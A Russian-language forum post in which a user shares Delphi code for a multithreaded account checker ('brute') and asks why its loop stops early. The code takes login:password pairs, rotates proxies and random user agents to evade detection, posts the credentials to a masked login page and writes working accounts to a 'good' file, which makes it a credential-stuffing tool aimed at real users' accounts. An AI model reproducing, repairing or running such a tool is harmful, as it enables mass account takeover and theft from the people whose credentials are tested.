![]() |
|
|
Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
|
Опции темы | Поиск в этой теме | Опции просмотра |
#1
|
|||
|
|||
![]() Вот кусок кода
Код:
function TForm1.CheckAcc(login, passw, proxy, pport: string): integer; var HTTP:TidHTTP; send:TStringList; pg:string; begin HTTP:=TIdHTTP.Create(nil); //создаём компонент with HTTP do begin //устанавливаем настройки AllowCookies:=true; //включаем куки HandleRedirects:=false; //Запрещаем редирект на страницу ReadTimeout:=10000; //Тайм аут на соединение (типо чекер прокси) ProxyParams.ProxyServer:=proxy; //Присваиваем прокси хост ProxyParams.ProxyPort:=StrToInt(pport); //Присваиваем прокси порт randomize; //Рандомизируем числа Request.UserAgent:=UserAg[random(10)]; // Присваиваем User Agent (типо мы через браузер заходим) end; //формируем параметры для POST запроса Send:=TStringList.Create; Send.Add('loginForm_default_username='+login); Send.Add('loginForm_default_password='+passw); Send.Add('loginForm_default_login_submit=Вход'); try //Перехват ошибок которые могут возникнуть во время отправки запроса HTTP.Request.Referer:='**********'; pg:=HTTP.Post('***********', send); //Отправляем запрос result:=2; if pos('serverSelection' ,pg)<>0 then begin result:=1; end else result:=2; except if pos('serverSelection' ,pg)<>0 then begin result:=0; end; end; Send.Free; //Удаляем созданные ранее переменные HTTP.Free; //Удаляем созданные ранее компоненты end; constructor TBruteThread.Create(CreateSuspended: boolean); begin inherited Create(CreateSuspended); end; procedure TBruteThread.Execute; var rez:integer; ps, pp, slog, spass, sacc:string; begin while work do begin //цикл будет длится до тех пор, пока work=true inc(tp); //Увеличиваем переменную TP на 1, если записать так inc(tp, 2) то увеличится на 2 if tp=ProxyList.Count-1 then tp:=0; //Если конец списка, то идём с начала ps:=Copy(ProxyList[tp], 1, Pos(':',ProxyList[tp])-1); //Копируем адрес pp:=Copy(ProxyList[tp], Pos(':', ProxyList[tp])+1, Length(ProxyList[tp])); //Копируем порт sacc:=SourceList[0]; //Берём первый аккаунт SourceList.Delete(0); //Удаляем первый аккаунт дабы не засорял список. if SourceList.Count=0 then work:=false; //Если всё прошли то вырубаем цикл if pos(':', sacc)<>0 then begin //Если разделитель такой то slog:=Copy(sacc, 1, Pos(':',sacc)-1); //Копируем логин spass:=Copy(sacc, Pos(':', sacc)+1, Length(sacc)); //Копируем пароль end else begin //иначе slog:=Copy(sacc, 1, Pos(';',sacc)-1); spass:=Copy(sacc, Pos(';', sacc)+1, Length(sacc)); end; //Дабы не писать всё тут - лучше создать отдельную функцию (можно даже в потоке) rez:=Form1.CheckAcc(slog, spass, ps, pp); //Вызываем функцию и результат записываем в переменную rez case rez of //Открываем переменную 0:begin //Если в переменной 0 то //Добавляем аккаунт в конец списка что бы потом проверить ещё раз. SourceList.Add(slog+';'+spass); Form1.ErrorLabel.Caption:=IntToStr(StrToInt(Form1.ErrorLabel.Caption)+1); //Увеличиваем Label с кол-вом ошибок end; 1:begin //Если в переменной 1 то Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1); //Увеличиваем Label с кол-вом гудов Append(GoodFile); //открываем файл Writeln(GoodFile, slog+';'+spass); //Добавляем строчку (знакомо с паскаля) Closefile(GoodFile); //Закрываем файл Form1.LogMemo.Lines.Add(slog+';'+spass); //Выводим аккаунт Form1.Proc.Progress:=Form1.Proc.Progress+1; //отображаем процесс end; 2:begin //Если в переменной 2 то Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1); //Увеличиваем Label с кол-вом bad'ов Form1.Proc.Progress:=Form1.Proc.Progress+1; //Продвигаемся =) end; end; end; Form1.LogMemo.Lines.Add('Success!'); //Если цикл закончился то выводим сообщение end; procedure TForm1.Button3Click(Sender: TObject); var i:integer; begin tp:=-1; //Начинаем с первого прокси, ставим -1 т.к. будет inc() в начале work:=true; //Включаем цикл proc.MaxValue:=SourceList.Count-1; //Присваиваем общие кол-во аккаунтов for I := 1 to spinedit1.Value do begin setlength(myt,i+1); myt[i]:=TBruteThread.Create(False); myt[i].Priority:=tpNormal; myt[i].FreeOnTerminate:=true; myt[i].Resume; end; end; Так вот : Цикл while заканчивает свою работу сам . Я его уже убирал . Ставил for i:=0 to form1.liens.count -1 , а там было 900 строк и он не смог проверить даже 100 аккаунтов .Я уже не знаю , что делать ![]() Кто желает помочь , то можно в скайп : klevakin.tema |